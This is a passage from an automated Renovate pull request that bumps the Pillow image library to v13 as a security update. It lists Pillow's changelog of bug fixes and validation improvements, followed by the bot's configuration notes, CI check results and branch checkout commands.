Move kernel size check into getlist() [#&#8203;9987](https://github.com/python-pillow/Pillow/issues/9987) \[[@&#8203;radarhere](https://github.com/radarhere)] - `PIL._binary`: Use `int.to_bytes()` for faster conversion [#&#8203;9981](https://github.com/python-pillow/Pillow/issues/9981) \[[@&#8203;akx](https://github.com/akx)] - Prevent negative ImageStat variance [#&#8203;9994](https://github.com/python-pillow/Pillow/issues/9994) \[[@&#8203;lllleolin-max](https://github.com/lllleolin-max)] - Restore image position after an error in ImageSequence.all_frames() [#&#8203;9999](https://github.com/python-pillow/Pillow/issues/9999) \[[@&#8203;niukanen1](https://github.com/niukanen1)] - Return palette contents in suitable format for C putpalette() [#&#8203;9985](https://github.com/python-pillow/Pillow/issues/9985) \[[@&#8203;radarhere](https://github.com/radarhere)] - Parenthesize `MIN`/`MAX` macro arguments [#&#8203;9928](https://github.com/python-pillow/Pillow/issues/9928) \[[@&#8203;akx](https://github.com/akx)] - Add decompression bomb check when loading WmfStubImageFile at a different DPI [#&#8203;9984](https://github.com/python-pillow/Pillow/issues/9984) \[[@&#8203;radarhere](https://github.com/radarhere)] - Reject invalid radius in BoxBlur and GaussianBlur [#&#8203;9983](https://github.com/python-pillow/Pillow/issues/9983) \[[@&#8203;radarhere](https://github.com/radarhere)] - Fix ImageChops.offset for 16-bit modes + speed up [#&#8203;9975](https://github.com/python-pillow/Pillow/issues/9975) \[[@&#8203;akx](https://github.com/akx)] - Speed up `Image.filter()` for `I;16*` [#&#8203;9760](https://github.com/python-pillow/Pillow/issues/9760) \[[@&#8203;akx](https://github.com/akx)] - Fix cross-compiling by searching the right lib and include directories [#&#8203;7634](https://github.com/python-pillow/Pillow/issues/7634) \[[@&#8203;chewi](https://github.com/chewi)] - Speed up `Image.offset` [#&#8203;9753](https://github.com/python-pillow/Pillow/issues/9753) \[[@&#8203;akx](https://github.com/akx)] - Remove duration and timestamp from AVIF info after seek [#&#8203;9973](https://github.com/python-pillow/Pillow/issues/9973) \[[@&#8203;dylanpulver](https://github.com/dylanpulver)] - Use lazy imports on Python 3.15 to improve startup speed [#&#8203;9733](https://github.com/python-pillow/Pillow/issues/9733) \[[@&#8203;hugovk](https://github.com/hugovk)] - \[pre-commit.ci] pre-commit autoupdate [#&#8203;9969](https://github.com/python-pillow/Pillow/issues/9969) \[@&#8203;[pre-commit-ci\[bot\]](https://github.com/apps/pre-commit-ci)] - Remove duration and timestamp from WebP info after seek [#&#8203;9791](https://github.com/python-pillow/Pillow/issues/9791) \[[@&#8203;radarhere](https://github.com/radarhere)] - If ICO image is smaller than (16, 16), save original size by default [#&#8203;9766](https://github.com/python-pillow/Pillow/issues/9766) \[[@&#8203;radarhere](https://github.com/radarhere)] - If reducing by a factor of 1, crop [#&#8203;9959](https://github.com/python-pillow/Pillow/issues/9959) \[[@&#8203;radarhere](https://github.com/radarhere)] - Inspect arg as Python object, instead of using PyErr_Clear() [#&#8203;9726](https://github.com/python-pillow/Pillow/issues/9726) \[[@&#8203;radarhere](https://github.com/radarhere)] - Copy palette when transforming PA images [#&#8203;9965](https://github.com/python-pillow/Pillow/issues/9965) \[[@&#8203;radarhere](https://github.com/radarhere)] - Treat FITS data as big-endian [#&#8203;9575](https://github.com/python-pillow/Pillow/issues/9575) \[[@&#8203;radarhere](https://github.com/radarhere)] - Correct error message for matrix length [#&#8203;9956](https://github.com/python-pillow/Pillow/issues/9956) \[[@&#8203;radarhere](https://github.com/radarhere)] - Copy qtables list when saving JPEG image [#&#8203;9919](https://github.com/python-pillow/Pillow/issues/9919) \[[@&#8203;lazerg](https://github.com/lazerg)] - Avoid integer overflow when calculating reduced image size [#&#8203;9904](https://github.com/python-pillow/Pillow/issues/9904) \[[@&#8203;lazerg](https://github.com/lazerg)] - Copy list-valued info entries independently in Image.copy() [#&#8203;9964](https://github.com/python-pillow/Pillow/issues/9964) \[[@&#8203;lazerg](https://github.com/lazerg)] - Avoid blocking all threads when decoding AVIF image [#&#8203;9930](https://github.com/python-pillow/Pillow/issues/9930) \[[@&#8203;WillyJL](https://github.com/WillyJL)] - Use a critical section to protect getlist() [#&#8203;9853](https://github.com/python-pillow/Pillow/issues/9853) \[[@&#8203;lazerg](https://github.com/lazerg)] - Add GPSHPositioningError to GPS IFD tag data [#&#8203;9941](https://github.com/python-pillow/Pillow/issues/9941) \[[@&#8203;dylanpulver](https://github.com/dylanpulver)] - Use bytearray instead of BytesIO in MspDecoder [#&#8203;9877](https://github.com/python-pillow/Pillow/issues/9877) \[[@&#8203;radarhere](https://github.com/radarhere)] - Reject non-finite radius in BoxBlur [#&#8203;9906](https://github.com/python-pillow/Pillow/issues/9906) \[[@&#8203;JonnasFigueiredo](https://github.com/JonnasFigueiredo)] - Raise ValueError for truncated tRNS PNG chunks [#&#8203;9934](https://github.com/python-pillow/Pillow/issues/9934) \[[@&#8203;VenishPaneliya](https://github.com/VenishPaneliya)] - Adjust tuple construction in ImageGrab to fix mypy on macOS [#&#8203;9935](https://github.com/python-pillow/Pillow/issues/9935) \[[@&#8203;akx](https://github.com/akx)] - Add support for Magic Kernel Sharp resizing modes [#&#8203;8811](https://github.com/python-pillow/Pillow/issues/8811) \[[@&#8203;drhead](https://github.com/drhead)] - Remove depends/install_raqm_cmake.sh; update FreeBSD instructions [#&#8203;9927](https://github.com/python-pillow/Pillow/issues/9927) \[[@&#8203;akx](https://github.com/akx)] - Fix comparison off-by-one in `getModeData`/`getRawModeData` [#&#8203;9932](https://github.com/python-pillow/Pillow/issues/9932) \[[@&#8203;akx](https://github.com/akx)] - Fix convert() from I;16N to I or F clipping 16-bit values [#&#8203;9931](https://github.com/python-pillow/Pillow/issues/9931) \[[@&#8203;Kayvan-Zahiri](https://github.com/Kayvan-Zahiri)] - Mark StubHandler.open() as abstract [#&#8203;9872](https://github.com/python-pillow/Pillow/issues/9872) \[[@&#8203;radarhere](https://github.com/radarhere)] - Add strip_namespaces argument to Image.getxmp() [#&#8203;9882](https://github.com/python-pillow/Pillow/issues/9882) \[[@&#8203;geeno16](https://github.com/geeno16)] - Add \_normalize_coords() to reduce duplicate code [#&#8203;9899](https://github.com/python-pillow/Pillow/issues/9899) \[[@&#8203;radarhere](https://github.com/radarhere)] - Rename IMAGING_TYPE_SPECIAL to IMAGING_TYPE_I16 [#&#8203;9794](https://github.com/python-pillow/Pillow/issues/9794) \[[@&#8203;radarhere](https://github.com/radarhere)] - Remove unnecessary check [#&#8203;9874](https://github.com/python-pillow/Pillow/issues/9874) \[[@&#8203;radarhere](https://github.com/radarhere)] - Improve reference handling in encode.c [#&#8203;9920](https://github.com/python-pillow/Pillow/issues/9920) \[[@&#8203;radarhere](https://github.com/radarhere)] - PySequence_Fast raises its own TypeError [#&#8203;9921](https://github.com/python-pillow/Pillow/issues/9921) \[[@&#8203;radarhere](https://github.com/radarhere)] - Import external headers with angle brackets [#&#8203;9912](https://github.com/python-pillow/Pillow/issues/9912) \[[@&#8203;radarhere](https://github.com/radarhere)] - Remove unused ImagingConvertInPlace [#&#8203;9878](https://github.com/python-pillow/Pillow/issues/9878) \[[@&#8203;radarhere](https://github.com/radarhere)] - Use GitHub's automerge instead of Mergify [#&#8203;9126](https://github.com/python-pillow/Pillow/issues/9126) \[[@&#8203;hugovk](https://github.com/hugovk)] - Rename C convert2 to convert_into [#&#8203;9911](https://github.com/python-pillow/Pillow/issues/9911) \[[@&#8203;radarhere](https://github.com/radarhere)] - PDF dictionary key must be a name [#&#8203;9884](https://github.com/python-pillow/Pillow/issues/9884) \[[@&#8203;radarhere](https://github.com/radarhere)] - Remove unused C convert method [#&#8203;9910](https://github.com/python-pillow/Pillow/issues/9910) \[[@&#8203;radarhere](https://github.com/radarhere)] - Do not open YCbCr colorspace images as RGB without libtiff [#&#8203;9779](https://github.com/python-pillow/Pillow/issues/9779) \[[@&#8203;radarhere](https://github.com/radarhere)] - Fix loading XPM images with transparency [#&#8203;9848](https://github.com/python-pillow/Pillow/issues/9848) \[[@&#8203;nyxst4ck](https://github.com/nyxst4ck)] - Open BMP image with black palette in mode 1 [#&#8203;9778](https://github.com/python-pillow/Pillow/issues/9778) \[[@&#8203;radarhere](https://github.com/radarhere)] - Remove palette if no longer relevant after TIFF seek [#&#8203;9855](https://github.com/python-pillow/Pillow/issues/9855) \[[@&#8203;radarhere](https://github.com/radarhere)] - Add `mixed-line-ending` to prek and convert to LF [#&#8203;9886](https://github.com/python-pillow/Pillow/issues/9886) \[[@&#8203;hugovk](https://github.com/hugovk)] - Correct CmsProfile creation_date month [#&#8203;9804](https://github.com/python-pillow/Pillow/issues/9804) \[[@&#8203;radarhere](https://github.com/radarhere)] - Raise ValueError for truncated gAMA and cHRM PNG chunks [#&#8203;9880](https://github.com/python-pillow/Pillow/issues/9880) \[[@&#8203;VenishPaneliya](https://github.com/VenishPaneliya)] - Use PyErr_Format instead of sprintf [#&#8203;9863](https://github.com/python-pillow/Pillow/issues/9863) \[[@&#8203;akx](https://github.com/akx)] - Remove unneeded code for handling zero-width characters [#&#8203;9875](https://github.com/python-pillow/Pillow/issues/9875) \[[@&#8203;radarhere](https://github.com/radarhere)] - Simplify code to improve performance [#&#8203;9860](https://github.com/python-pillow/Pillow/issues/9860) \[[@&#8203;hugovk](https://github.com/hugovk)] - Move ImageCmsTransform mode check into C [#&#8203;9793](https://github.com/python-pillow/Pillow/issues/9793) \[[@&#8203;radarhere](https://github.com/radarhere)] - Save as RGB(A) when APNG frames have different palettes [#&#8203;9870](https://github.com/python-pillow/Pillow/issues/9870) \[[@&#8203;DSeaStar](https://github.com/DSeaStar)] - Simplified SPIDER code [#&#8203;9823](https://github.com/python-pillow/Pillow/issues/9823) \[[@&#8203;radarhere](https://github.com/radarhere)] - Use `fmt: skip` instead of `fmt: off`/`fmt: on` [#&#8203;9828](https://github.com/python-pillow/Pillow/issues/9828) \[[@&#8203;akx](https://github.com/akx)] - Reorder ImageMode tuples [#&#8203;9808](https://github.com/python-pillow/Pillow/issues/9808) \[[@&#8203;radarhere](https://github.com/radarhere)] - Handle zero dimensions in ImagingOffset [#&#8203;9847](https://github.com/python-pillow/Pillow/issues/9847) \[[@&#8203;Mengxi-Xu](https://github.com/Mengxi-Xu)] - \[pre-commit.ci] pre-commit autoupdate [#&#8203;9843](https://github.com/python-pillow/Pillow/issues/9843) \[@&#8203;[pre-commit-ci\[bot\]](https://github.com/apps/pre-commit-ci)] - Derive PCX band count from the image, not the line width [#&#8203;9798](https://github.com/python-pillow/Pillow/issues/9798) \[[@&#8203;chuenchen309](https://github.com/chuenchen309)] - Fix BMP save of a P image with an empty palette [#&#8203;9746](https://github.com/python-pillow/Pillow/issues/9746) \[[@&#8203;binggao1230](https://github.com/binggao1230)] - Do not read any further than necessary when decoding BMP images with RLE8 compression [#&#8203;9824](https://github.com/python-pillow/Pillow/issues/9824) \[[@&#8203;radarhere](https://github.com/radarhere)] - Fix unexpected errors when decoding truncated QOI images [#&#8203;9813](https://github.com/python-pillow/Pillow/issues/9813) \[[@&#8203;abhi-0203](https://github.com/abhi-0203)] - Raise ValueError instead of asserting ImageOps colorize() arguments [#&#8203;9825](https://github.com/python-pillow/Pillow/issues/9825) \[[@&#8203;LuShadowX](https://github.com/LuShadowX)] - Fix retrieving ImagePalette colors from raw palettes [#&#8203;9821](https://github.com/python-pillow/Pillow/issues/9821) \[[@&#8203;nightcityblade](https://github.com/nightcityblade)] - Treat an MPO with too few MP entries as a JPEG [#&#8203;9826](https://github.com/python-pillow/Pillow/issues/9826) \[[@&#8203;LuShadowX](https://github.com/LuShadowX)] - Use mode as default for C getpalette raw mode [#&#8203;9822](https://github.com/python-pillow/Pillow/issues/9822) \[[@&#8203;radarhere](https://github.com/radarhere)] - Raise SyntaxError instead of OverflowError for oversized JPEG 2000 box [#&#8203;9818](https://github.com/python-pillow/Pillow/issues/9818) \[[@&#8203;nevercodecorrect](https://github.com/nevercodecorrect)] - Raise UserWarning if TIFF tag offset too large [#&#8203;9816](https://github.com/python-pillow/Pillow/issues/9816) \[[@&#8203;radarhere](https://github.com/radarhere)] - Raise ValueError if Dib paste() box does not match image size [#&#8203;9815](https://github.com/python-pillow/Pillow/issues/9815) \[[@&#8203;radarhere](https://github.com/radarhere)] - Raise ValueError instead of asserting number of FTEX texture formats [#&#8203;9805](https://github.com/python-pillow/Pillow/issues/9805) \[[@&#8203;ritsth](https://github.com/ritsth)] - Handle premultiplied alpha modes in ImageColor.getcolor() [#&#8203;9797](https://github.com/python-pillow/Pillow/issues/9797) \[[@&#8203;chuenchen309](https://github.com/chuenchen309)] - Remove PIL_NO_INLINE and MSVC alias for inline [#&#8203;9802](https://github.com/python-pillow/Pillow/issues/9802) \[[@&#8203;akx](https://github.com/akx)] - Fix adding a new color when image palette has missing background or transparency index [#&#8203;9799](https://github.com/python-pillow/Pillow/issues/9799) \[[@&#8203;chuenchen309](https://github.com/chuenchen309)] - Correct background color when using P mode images with ImageOps.pad() [#&#8203;9795](https://github.com/python-pillow/Pillow/issues/9795) \[[@&#8203;chuenchen309](https://github.com/chuenchen309)] - Fix 16-bit ImageFilter accuracy [#&#8203;9786](https://github.com/python-pillow/Pillow/issues/9786) \[[@&#8203;akx](https://github.com/akx)] - Removed unused variable [#&#8203;9789](https://github.com/python-pillow/Pillow/issues/9789) \[[@&#8203;radarhere](https://github.com/radarhere)] - Remove unused PNG \_OUTMODES [#&#8203;9780](https://github.com/python-pillow/Pillow/issues/9780) \[[@&#8203;radarhere](https://github.com/radarhere)] - Add support for Python 3.15 [#&#8203;9776](https://github.com/python-pillow/Pillow/issues/9776) \[[@&#8203;hugovk](https://github.com/hugovk)] - Fix RLE4 absolute mode decoding for odd pixel counts [#&#8203;9710](https://github.com/python-pillow/Pillow/issues/9710) \[[@&#8203;nyxst4ck](https://github.com/nyxst4ck)] - Avoid divide-by-zero crash in RankFilter [#&#8203;9755](https://github.com/python-pillow/Pillow/issues/9755) \[[@&#8203;lukegb](https://github.com/lukegb)] - Port coveragerc to pyproject.toml; omit benchmarks from coverage [#&#8203;9771](https://github.com/python-pillow/Pillow/issues/9771) \[[@&#8203;akx](https://github.com/akx)] - Remove minimumReleaseAge for google/oss-fuzz [#&#8203;9764](https://github.com/python-pillow/Pillow/issues/9764) \[[@&#8203;radarhere](https://github.com/radarhere)] - Use ImagingNewDirty() in RankFilter and remove ImagingFill() in font.getmask() [#&#8203;9744](https://github.com/python-pillow/Pillow/issues/9744) \[[@&#8203;akx](https://github.com/akx)] - Remove Setuptools obsolete `zip_safe` flag [#&#8203;9758](https://github.com/python-pillow/Pillow/issues/9758) \[[@&#8203;hugovk](https://github.com/hugovk)] - Fix attach SBOM to GitHub release [#&#8203;9748](https://github.com/python-pillow/Pillow/issues/9748) \[[@&#8203;hugovk](https://github.com/hugovk)] </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about these updates again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Mend Renovate CLI](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xODEuOCIsInVwZGF0ZWRJblZlciI6IjQ0LjE4MS44IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->
fix(deps): update dependency pillow to v13 [security]
All checks were successful
Actions / Lint (pull_request) Successful in 1m2s
Actions / Build Documentation (pull_request) Successful in 57s
Actions / Ensure Cogs Load (pull_request) Successful in 4m52s
cbd95dad3a
All checks were successful
Actions / Lint (pull_request) Successful in 1m2s
Required
Details
Actions / Build Documentation (pull_request) Successful in 57s
Required
Details
Actions / Ensure Cogs Load (pull_request) Successful in 4m52s
Required
Details
This pull request can be merged automatically.
You are not authorized to merge this pull request.
View command line instructions

Checkout

From your project repository, check out a new branch and test the changes.
git fetch -u origin renovate/pypi-pillow-vulnerability:renovate/pypi-pillow-vulnerability
git switch renovate/pypi-pillow-vulnerability
Sign in to join this conversation.
No description provided.